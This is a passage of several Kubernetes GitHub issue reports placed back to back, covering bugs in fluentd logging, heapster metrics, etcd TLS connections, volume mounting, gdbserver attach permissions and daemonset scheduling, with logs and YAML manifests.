hostpath  bare host directory volume \r           path:       /tmp/fluentd\r         varlibdockercontainers:\r           type:       hostpath  bare host directory volume \r           path:       /var/lib/docker/containers\r         varlog:\r           type:       hostpath  bare host directory volume \r           path:       /var/log\r         fluentd-token-n3w09:\r           type:       secret  a volume populated by a secret \r           secretname: fluentd-token-n3w09\r        optional:   false\r        qos class:      burstable\r       node-selectors: <none>\r       tolerations:    node.alpha.kubernetes.io/notready=:exists:noexecute\r                       node.alpha.kubernetes.io/unreachable=:exists:noexecute\r       events:         <none>\r \r \r from fluentd pod:\r      \r        ls -l /var/log/containers\r       kube-proxy-tm0d9_kube-system_kube-proxy-32913036aac7df20384146713b3ebe12533d2d4d4438624d0f9ec6fcb499b4e1.log -> /var/log/pods/0485305c-a22d-11e7-a673-00505691e898/kube-proxy_0.log\r \r        cd /var/log/pods/0485305c-a22d-11e7-a673-00505691e898\r        ls -l kube-proxy_0.log\r       kube-proxy_0.log -> /var/lib/docker/containers/32913036aac7df20384146713b3ebe12533d2d4d4438624d0f9ec6fcb499b4e1/32913036aac7df20384146713b3ebe12533d2d4d4438624d0f9ec6fcb499b4e1-json.log\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.6, v.1.7.0\r - cloud provider or hardware configuration  : vsphere\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : 3.10.0-514.2.2.el7.x86_64\r - install tools: fluentd 0.12.31\r - others: docker 1.12.6

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i created kubernetes cluster by kubeadm, and i created heapster v1.4.3\r then i used kubectl top command, but i got following error message.\r \r    \r \r  root@miyoshi-dev ~   kubectl top node\r error: failed to unmarshall heapster response: invalid character '\\x15' looking for beginning of value\r \r \r    \r \r here is my pods status.\r \r    \r \r  root@miyoshi-dev ~   kubectl get pods --all-namespaces\r namespace     name                                           ready     status    restarts   age\r kube-system   heapster-6499c9776f-lj96k                      1/1       running   0          4m\r kube-system   kube-apiserver-miyoshi-dev.fcxlocal            1/1       running   0          2h\r kube-system   kube-controller-manager-miyoshi-dev.fcxlocal   1/1       running   0          2h\r kube-system   kube-dns-545bc4bfd4-snkz6                      3/3       running   0          2h\r kube-system   kube-flannel-ds-l7pcb                          2/2       running   1          2h\r kube-system   kube-proxy-x5zhf                               1/1       running   0          2h\r kube-system   kube-scheduler-miyoshi-dev.fcxlocal            1/1       running   0          2h\r kube-system   monitoring-influxdb-67f8d587dd-lwjqc           1/1       running   0          4m\r \r \r    \r \r   what you expected to happen  :\r use kubectl top command successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r   heapster: v1.4.3\r

right now, people looking at resource versions could easily make some assumptions about them which are true at the moment but might not be true in the future. if people bake these poor assumptions into enough clients, it could tie our hands in the future when we go to improve our storage stack.\r \r i propose we perform a simple obfuscation step in the storage layer to expose any faulty assumptions now and thereby prevent users from worse breakage in the future.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r  \r   what happened  :\r there are too many fakemounter implementations in the codebase.  it's annoying to have to update all of them whenever we have to change the mounter interface.  they should all be consolidated to use the fakemounter implementation in pkg/util/mount/fake.go.

 \r   what happened  :\r there is only one --authentication-token-webhook-config-file option so you can only have one authentication backend for token based auth.\r \r   what you expected to happen  :\r \r i would like to be able to specify a \ default\ , and other named webhooks <name>. the user's kubeconfig file can specify the name and the name will be passed along with the token during token validation. kube-apiserver will route the token to the specified webhook.\r \r this would allow, for example, a different authentication plugin to be used between gui and cli. or cli on trusted clusters can use a different auth mechanism/plugin then untrusted desktop clis.\r

what happened  :\r after upgrading from 1.12.1 to 1.14.3,  kube-apiserver 's only connecting to the first etcd server from the list passed in  --etcd-servers .\r the following errors appears during kube-apiserver startup:\r \r    \r i0618 18:45:34.225389       6 client.go:352  parsed scheme: \ \ \r i0618 18:45:34.225416       6 client.go:352  scheme \ \  not registered, fallback to default scheme\r i0618 18:45:34.226797       6 asm_amd64.s:1337  ccresolverwrapper: sending new addresses to cc:  {k8s-etcd-1:2379 0  <nil>} \r i0618 18:45:34.226895       6 asm_amd64.s:1337  balancerwrapper: got update addr from notify:  {k8s-etcd-1:2379 <nil>} {k8s-etcd-2:2379 <nil>} {k8s-etcd-3:2379 <nil>} \r w0618 18:45:34.245478       6 clientconn.go:1251  grpc: addrconn.createtransport failed to connect to {k8s-etcd-2:2379 0  <nil>}. err :connection error: desc = \ transport: authentication handshake failed: x509: certificate is valid for k8s-etcd-2, not k8s-etcd-1\ . reconnecting...\r w0618 18:45:34.247450       6 clientconn.go:1251  grpc: addrconn.createtransport failed to connect to {k8s-etcd-3:2379 0  <nil>}. err :connection error: desc = \ transport: authentication handshake failed: x509: certificate is valid for k8s-etcd-3, not k8s-etcd-1\ . reconnecting...\r    \r \r and in etcd servers:\r \r k8s-etcd-2\r    \r jun 18 18:47:29 k8s-etcd-2 etcd 19521 : rejected connection from \ 10.x.x.x:14632\   error \ remote error: tls: bad certificate\ , servername \ k8s-etcd-1\  \r    \r \r k8s-etcd-3\r    \r jun 18 18:47:29 k8s-etcd-3 etcd 4520 : rejected connection from \ 10.x.x.x:37138\   error \ remote error: tls: bad certificate\ , servername \ k8s-etcd-1\  \r    \r \r when we change etcd servers list order, the output is similar so doesn't look like to be a problem in the client certificate  e.g. if we pass k8s-etcd-2 first in the list, k8s-etcd-2 works, but k8s-etcd-1 and k8s-etcd-3 don't \r \r the error stops when we disable client cert authentication for etcd servers. looks like it's always using the first etcd server in the list as servername, and then etcd server is rejecting the connection\r \r   what you expected to happen  :\r kube-apiserver be able to connect with a list of etcd servers using client cert authentication\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kube-apiserver  1.14.3  passing two or more etcd servers  etcd version: 3.3.10  and using client cert authentication\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.3\ , gitcommit:\ 5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0\ , gittreestate:\ clean\ , builddate:\ 2019-06-06t01:44:30z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g:  cat /etc/os-release  :\r name=\ oracle linux server\ \r version=\ 7.6\ \r id=\ ol\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.6\ \r pretty_name=\ oracle linux server 7.6\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:oracle:linux:7:6:server\ \r home_url=\ https://linux.oracle.com/\ \r bug_report_url=\ https://bugzilla.oracle.com/\ \r \r oracle_bugzilla_product=\ oracle linux 7\ \r oracle_bugzilla_product_version=7.6\r oracle_support_product=\ oracle linux\ \r oracle_support_product_version=7.6\r \r - kernel  e.g.  uname -a  :\r linux k8s-master-1 4.1.12-124.26.12.el7uek.x86_64  2 smp wed may 8 22:25:03 pdt 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r puppet\r

we need a clearer policy for how people should be prioritizing fixing flaky tests.  our updated policy  as of this morning  is that, if you have a flaky test assigned to you, that is your _first priority_.  @lavalamp will you update the email language please?  xref https://github.com/kubernetes/contrib/pull/274  cc @kubernetes/goog-testing @quinton-hoole @zmerlynn @lavalamp

kubelet restart test: https://github.com/kubernetes/kubernetes/blob/master/test/e2e/daemon_restart.go l298  kubelet restart test should have reported failure when containers got recreated. the test only checks whether containers were restarted. but if the containers got replaced, their restart count will be 0. the test should also compare the containers' id before and after kubelet restarts.   related pr: https://github.com/kubernetes/kubernetes/pull/19302

i'm still investigating, but it looks like when we recreate nodes with the same name as an old node, the new node can't start docker properly because it doesn't have a podcidr, and must wait ~5 minutes to get one.  my guess is that the nodecontroller doesn't hand the new node a new podcidr until it's been reporting itself unhealthy for at least 5 minutes.  this is causing unnecessary  i think  disruption during node upgrades.

we have a scenario of kubelet being used in standalone mode without a master which is the containervm.  in that case, kubelet is started with a  --manifest_url  flag pointing to the url of a yaml file with instructions of which containers to start.  this case is getting broken often, particularly as we seem to be testing for  nil  and in some cases the pointer vs. interface nil breaks our checks which are not being caught by any of the tests...  i'd say we need to include a test for  --manifest_url  in open source kubernetes so that we don't get these bugs piling up until we try to build a new containervm with a version of kubelet.  @dchen1107 @jbeda @brendanburns @satnam6502 @lavalamp

hello,\r \r i have an issue with attaching gdbserver to process inside the pod. i'm able to successfully attach gdbserver to process on my local machine, but the same operation fails when i'm trying to do that through kubectl with pod, running inside my cluster. on my local machine i have the following workflow:\r \r - run gdb\r \r -  target remote | docker exec -i container gdbserver - --attach pid \r \r -  set sysroot /path/to/local/binary \r \r - ready to debug\r \r when i'm trying to do the same operation in the cluster i replace my step two with the following command:\r  target remote | kubectl exec -i pod -- gdbserver - --attach pid  and this returns me :\r \r > cannot attach to lwp 7: operation not permitted  1  exiting remote connection closed\r \r i believe this problem is related to some sort of permissions problem, because as i mentioned this workflow works perfectly fine with pure docker. \r \r kubernetes version:\r \r > version:client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r cloud provider: google, gke\r os: debian gnu/linux version=\ 8  jessie \ \r kernel: linux 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2+deb8u3  2016-07-02  x86_64 gnu/linux\r install tools: google cloud sdk 152.0.0\r others: gnu gdb  debian 7.7.1+dfsg-5  7.7.1\r \r what happened: cannot attach gdbserver to process \r what you expected to happen: be able to successfully attach gdbserver to process\r how to reproduce it: create simple image based debian 8 jessie, install inside it gdbserver, run some process, and then try the following command:  kubectl exec -i pod -- gdbserver - --attach pid \r

k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi testopenapi 0.00s\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45167/pull-kubernetes-unit/28488/\r \r \r \r what's weird is that it appear to be passing near as i can tell: https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/45167/pull-kubernetes-unit/28488/artifacts/junit_a9308e5199d66c4eb1553a4ec233c5882b1bfb35_20170501-081912.stdout

kubectl get pods\r \r \r nginx-cb40j                  0/1       rpc error: code = 2 desc = failed to start container \ fc9a052c5767e76d17930678dd569f35f3c91e23266b165786c6e20347ab1742\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: 56db0de585403b05922f3ffd0db1cc35c98c6be8d8d64975d4bd1c127809366e\ }   73         4d\r nginx-sgp02                  0/1       rpc error: code = 2 desc = failed to start container \ f9e4333a6ef4b518f5ca5e611ad1ee6a36d3f72b52c5685a796b55c5024b842a\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: f2ada2e19c0df732ef7e0a5358b66d1f427752b1cc997a45199d89d5a369b94d\ }   87         4d\r wordpress-3878056801-tpmdc   0/1       rpc error: code = 2 desc = failed to start container \ 7088de7ce5db3b6d49ea7237135eb3512e5172013f2cc9462f43548f1ddace52\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: 7431fcadbbf0b37faf5663bdc7407d6c0e5837f70d704a3b4506f11582055a0b\ }   223        5d\r root@ip-172-31-31-202:~  dokcer run 7431fcadbbf0b37faf5663bdc7407d6c0e5837f70d704a3b4506f11582055a0b

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r create  a replicaset then change its image by kubectl set image command. it returns an error ocassionally like \r error: replicasets/gakki-replicaset no kind \ replicaset\  is registered for version \ apps/v1beta1\ \r \r   what you expected to happen  :\r image changes without error\r   how to reproduce it  as minimally and precisely as possible   :\r yaml file as follows:\r    \r apiversion: apps/v1beta2\r kind: replicaset\r metadata:\r   name: test-replicaset\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       tier: frontend\r     matchexpressions:\r       - {key: tier, operator: in, values:  frontend }\r   template:\r     metadata:\r       labels:\r         app: guestbook\r         tier: frontend\r     spec:\r       containers:\r       - name: php-redis\r         image: gcr.io/google_samples/gb-frontend:v3\r         resources:\r           requests:\r             cpu: 100m\r             memory: 100mi\r         env:\r         - name: get_hosts_from\r           value: dns\r         ports:\r         - containerport: 80\r    \r execute command:\r kubectl create -f test.yaml\r kubectl set image rs test-replicaset php-redis=nginx:1.7.9 \r \r \r \r   anything else we need to know?  :\r the error happens ocassionally, you can make  several tries to observe this error.  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.1.51+14cedb9f581d6a-dirty\ , gitcommit:\ 14cedb9f581d6a6de367e780e31a8ca1c7b12112\ , gittreestate:\ dirty\ , builddate:\ 2017-09-23t08:08:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.1.281+ba1ab3fd559dd7-dirty\ , gitcommit:\ ba1ab3fd559dd775863477f00a3e8d3bf86583a0\ , gittreestate:\ dirty\ , builddate:\ 2017-09-25t11:31:36z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r - running ccm with  --cloud-provider=aws .\r - according to the  doc  https://kubernetes.io/docs/tasks/administer-cluster/running-cloud-controller/ , the kubelet needs to run with  --cloud-provider=external .\r \r however then kubelet failed to mount the ebs volumes:\r    \r mounting command: mount\r mounting arguments: -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-west-1c/vol-0c1b6f36d694c79f2 /var/lib/kubelet/pods/227ce278-e7c0-11e8-ae8b-06346f5010a2/volumes/kubernetes.io~aws-ebs/pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2\r output: mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-west-1c/vol-0c1b6f36d694c79f2 does not exist\r e1114 03:49:28.077708    1548 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/aws-ebs/227ce278-e7c0-11e8-ae8b-06346f5010a2-pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2\\\   \\\ 227ce278-e7c0-11e8-ae8b-06346f5010a2\\\  \  failed. no retries permitted until 2018-11-14 03:50:32.077674047 +0000 utc m=+481.316888022  durationbeforeretry 1m4s . error: \ mountvolume.setup failed for volume \\\ pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2\\\   uniquename: \\\ kubernetes.io/aws-ebs/227ce278-e7c0-11e8-ae8b-06346f5010a2-pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2\\\   pod \\\ prometheus-prometheus-0\\\   uid: \\\ 227ce278-e7c0-11e8-ae8b-06346f5010a2\\\   : mount failed: exit status 32\ mounting command: mount\ mounting arguments: -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-west-1c/vol-0c1b6f36d694c79f2 /var/lib/kubelet/pods/227ce278-e7c0-11e8-ae8b-06346f5010a2/volumes/kubernetes.io~aws-ebs/pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2\ output: mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-west-1c/vol-0c1b6f36d694c79f2 does not exist\ \ \ \r e1114 03:50:27.196235    1548 kubelet.go:1616  unable to mount volumes for pod \ prometheus-prometheus-0_kube-system 227ce278-e7c0-11e8-ae8b-06346f5010a2 \ : timeout expired waiting for volumes to attach or mount for pod \ kube-system\ /\ prometheus-prometheus-0\ . list of unmounted volumes= prometheus-storage . list of unattached volumes= prometheus-storage config config-out prometheus-prometheus-rulefiles-0 prometheus-token-kqf4l ; skipping pod\r e1114 03:50:27.196294    1548 pod_workers.go:186  error syncing pod 227ce278-e7c0-11e8-ae8b-06346f5010a2  \ prometheus-prometheus-0_kube-system 227ce278-e7c0-11e8-ae8b-06346f5010a2 \  , skipping: timeout expired waiting for volumes to attach or mount for pod \ kube-system\ /\ prometheus-prometheus-0\ . list of unmounted volumes= prometheus-storage . list of unattached volumes= prometheus-storage config config-out prometheus-prometheus-rulefiles-0 prometheus-token-kqf4l \r e1114 03:50:32.178373    1548 mount_linux.go:151  mount failed: exit status 32\r mounting command: mount\r mounting arguments: -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-west-1c/vol-0c1b6f36d694c79f2 /var/lib/kubelet/pods/227ce278-e7c0-11e8-ae8b-06346f5010a2/volumes/kubernetes.io~aws-ebs/pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2\r output: mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-west-1c/vol-0c1b6f36d694c79f2 does not exist\r e1114 03:50:32.178464    1548 aws_ebs.go:419  mount of disk /var/lib/kubelet/pods/227ce278-e7c0-11e8-ae8b-06346f5010a2/volumes/kubernetes.io~aws-ebs/pvc-227b754f-e7c0-11e8-ae8b-06346f5010a2 failed: mount failed: exit status 32\r    \r \r   what you expected to happen  :\r kubelet should still be able to mount volumes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - run ccm with  --cloud-provider=aws \r - run kubelet with  --cloud-provider=external \r - create an ebs storage class \r - create a pod that requires a persistent volume.\r \r   anything else we need to know?  :\r my ccm yaml:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: cloud-controller-manager\r   namespace: kube-system\r   labels:\r     k8s-app: cloud-controller-manager\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: ''\r spec:\r   containers:\r   - name: cloud-controller-manager\r     image: k8s.gcr.io/hyperkube:v1.11.2\r     command:\r     - ./hyperkube\r     - cloud-controller-manager\r     - --kubeconfig=/etc/kubernetes/kubeconfig\r     - --leader-elect=true\r     - --use-service-account-credentials\r     - --profiling=false\r     - --cloud-provider=aws\r     - --cloud-config=/etc/kubernetes/cloud-config.ini\r     - --configure-cloud-routes=false\r     - --allocate-node-cidrs=true\r     - --cluster-cidr=172.16.0.0/16\r     - --feature-gates=expandpersistentvolumes=true,expandinusepersistentvolumes=true,experimentalcriticalpodannotation=true,initializers=true\r     livenessprobe:\r       httpget:\r         path: /healthz\r         port: 10253\r       initialdelayseconds: 15\r       timeoutseconds: 1\r     volumemounts:\r     - name: etc-kubernetes\r       mountpath: /etc/kubernetes\r       readonly: true\r   hostnetwork: true\r   priorityclassname: system-node-critical\r   volumes:\r   - name: etc-kubernetes\r     hostpath:\r       path: /etc/kubernetes\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:39:16z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r    \r cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1855.4.0\r version_id=1855.4.0\r build_id=2018-09-11-0003\r pretty_name=\ container linux by coreos 1855.4.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux ip-10-3-7-91.us-west-1.compute.internal 4.14.67-coreos  1 smp mon sep 10 23:14:26 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux\r    \r \r @kubernetes/sig-aws-misc @kubernetes/sig-storage-bugs \r /cc @quentin-m \r \r \r <!-- do not edit below this line -->\r 

what happened  :\r \r i added nodes steadily to my kubernetes cluster—reaching 200 or so worker nodes, in addition to three masters. as the nodes arrived, i was watching to see how long it took each node to appear after the underlying machine had booted, and then how long it took for the node to become \ ready.\  a handful of nodes—four out of 200—would not become ready. the \ calico-node\  _daemonset_'s pods had not started on those four nodes, and were stuck in the \ pending\  state. until the \ calico-node\  pod starts and provides a cni plugin, the kubelet won't remove its \ node.kubernetes.io/not-ready\  taints.\r \r there were four of these pods created for the \ calico-node\  _daemonset_ that were \ pending.\  each had a node affinity stanza locking it into one and only one candidate node. for example, here's one of the pods seeking assignment to node _ip-10-105-51-241.ec2.internal_:\r    yaml\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchfields:\r           - key: metadata.name\r             operator: in\r             values:\r             - ip-10-105-51-241.ec2.internal\r    \r however, the scheduler won't place these pods. they sit unassigned with no \ spec.nodename\  field populated. i tried killing the three scheduler pods  one on each master  and allowing them to restart, but they come back up and still don't act on these pods, with no log messages indicating why.\r \r i considered whether the tolerations on these pods couldn't tolerate the taints on the nodes. the four unready nodes are tainted as follows:\r    yaml\r taints:\r - effect: noschedule\r   key: node.kubernetes.io/not-ready\r   timeadded: 2018-11-27t16:05:47z\r - effect: noexecute\r   key: node.kubernetes.io/not-ready\r   timeadded: 2018-11-27t16:05:52z\r    \r the \ calico-node\  pods are correspondingly tolerant:\r    yaml\r tolerations:\r - effect: noschedule\r   operator: exists\r - key: criticaladdonsonly\r   operator: exists\r - effect: noexecute\r   operator: exists\r - effect: noexecute\r   key: node.kubernetes.io/not-ready\r   operator: exists\r - effect: noexecute\r   key: node.kubernetes.io/unreachable\r   operator: exists\r - effect: noschedule\r   key: node.kubernetes.io/disk-pressure\r   operator: exists\r - effect: noschedule\r   key: node.kubernetes.io/memory-pressure\r   operator: exists\r - effect: noschedule\r   key: node.kubernetes.io/unschedulable\r   operator: exists\r - effect: noschedule\r   key: node.kubernetes.io/network-unavailable\r   operator: exists\r    \r note that there's no explicit match for the \ noschedule\  effect with the \ node.kubernetes.io/not-ready\  taint key, but there is the wildcard for the \ noschedule\  effect with the \ exists\  operator at the top.\r \r to ensure that that omission wasn't the problem, i added the following toleration to the \ calico-node\  pod:\r    yaml\r - effect: noschedule\r   key: node.kubernetes.io/not-ready\r   operator: exists\r    \r even with that in place, the scheduler still didn't take any action.\r \r   what you expected to happen  :\r \r the scheduler should act on these pending pods and assign them to the node nominated in their affinity constraint.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r well, this is hard, because it doesn't happen deterministically, so far as i can tell.\r \r start with a cluster that relies on a cni plugin that arrives via _daemonset_, with a small number of nodes  even no workers beyond the masters . add nodes in groups of, say, 20 at a time, until you notice that some of the nodes haven't become ready after a few minutes.\r \r look for pending pods that were created by the _daemonset_. confirm that the target node does exist, but is not yet ready.\r \r   anything else we need to know?  :\r \r here are a few pertinent manifests extracted from my cluster.\r \r first, the \ calico-node\  _daemonset_:\r <details>\r \r    yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   annotations:\r   creationtimestamp: 2018-11-17t23:15:05z\r   generation: 1\r   labels:\r     k8s-app: calico-node\r   name: calico-node\r   namespace: kube-system\r   resourceversion: \ 1868690\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/daemonsets/calico-node\r   uid: 9e89275c-eabe-11e8-9dec-128456ada3d8\r spec:\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       k8s-app: calico-node\r   template:\r     metadata:\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ \ \r       creationtimestamp: null\r       labels:\r         k8s-app: calico-node\r     spec:\r       containers:\r       - env:\r         - name: datastore_type\r           value: kubernetes\r         - name: felix_logseverityscreen\r           value: info\r         - name: cluster_type\r           value: k8s,bgp\r         - name: calico_disable_file_logging\r           value: \ true\ \r         - name: felix_defaultendpointtohostaction\r           value: accept\r         - name: felix_ipv6support\r           value: \ false\ \r         - name: felix_ipinipmtu\r           value: \ 1440\ \r         - name: wait_for_datastore\r           value: \ true\ \r         - name: calico_ipv4pool_cidr\r           value: 172.16.0.0/13\r         - name: calico_ipv4pool_ipip\r           value: crosssubnet\r         - name: felix_ipinipenabled\r           value: \ true\ \r         - name: felix_typhak8sservicename\r           valuefrom:\r             configmapkeyref:\r               key: typha_service_name\r               name: calico-config\r         - name: nodename\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: spec.nodename\r         - name: ip\r           value: autodetect\r         - name: felix_healthenabled\r           value: \ true\ \r         image: quay.io/calico/node:v3.1.4\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 6\r           httpget:\r             path: /liveness\r             port: 9099\r             scheme: http\r           initialdelayseconds: 10\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 1\r         name: calico-node\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /readiness\r             port: 9099\r             scheme: http\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 1\r         resources:\r           requests:\r             cpu: 250m\r         securitycontext:\r           privileged: true\r           procmount: default\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /lib/modules\r           name: lib-modules\r           readonly: true\r         - mountpath: /var/run/calico\r           name: var-run-calico\r         - mountpath: /var/lib/calico\r           name: var-lib-calico\r       - command:\r         - /install-cni.sh\r         env:\r         - name: cni_conf_name\r           value: 10-calico.conflist\r         - name: cni_network_config\r           valuefrom:\r             configmapkeyref:\r               key: cni_network_config\r               name: calico-config\r         - name: kubernetes_node_name\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: spec.nodename\r         image: quay.io/calico/cni:v3.1.4\r         imagepullpolicy: ifnotpresent\r         name: install-cni\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /host/opt/cni/bin\r           name: cni-bin-dir\r         - mountpath: /host/etc/cni/net.d\r           name: cni-net-dir\r       dnspolicy: clusterfirst\r       hostnetwork: true\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       serviceaccount: calico-node\r       serviceaccountname: calico-node\r       terminationgraceperiodseconds: 0\r       tolerations:\r       - effect: noschedule\r         operator: exists\r       - key: criticaladdonsonly\r         operator: exists\r       - effect: noexecute\r         operator: exists\r       volumes:\r       - hostpath:\r           path: /lib/modules\r           type: \ \ \r         name: lib-modules\r       - hostpath:\r           path: /var/run/calico\r           type: \ \ \r         name: var-run-calico\r       - hostpath:\r           path: /var/lib/calico\r           type: \ \ \r         name: var-lib-calico\r       - hostpath:\r           path: /opt/cni/bin\r           type: \ \ \r         name: cni-bin-dir\r       - hostpath:\r           path: /etc/cni/net.d\r           type: \ \ \r         name: cni-net-dir\r   templategeneration: 1\r   updatestrategy:\r     rollingupdate:\r       maxunavailable: 1\r     type: rollingupdate\r status:\r   currentnumberscheduled: 203\r   desirednumberscheduled: 203\r   numberavailable: 200\r   numbermisscheduled: 0\r   numberready: 200\r   numberunavailable: 3\r   observedgeneration: 1\r   updatednumberscheduled: 203\r    \r \r </details>\r \r next, one of the pending pods from that _daemonset_:\r <details>\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/psp: privileged\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: 2018-11-27t15:32:40z\r   generatename: calico-node-\r   labels:\r     controller-revision-hash: cd68549c4\r     k8s-app: calico-node\r     pod-template-generation: \ 1\ \r   name: calico-node-grc48\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: daemonset\r     name: calico-node\r     uid: 9e89275c-eabe-11e8-9dec-128456ada3d8\r   resourceversion: \ 1818402\ \r   selflink: /api/v1/namespaces/kube-system/pods/calico-node-grc48\r   uid: ad10bba9-f259-11e8-b12a-0e2a5cfd76fc\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchfields:\r           - key: metadata.name\r             operator: 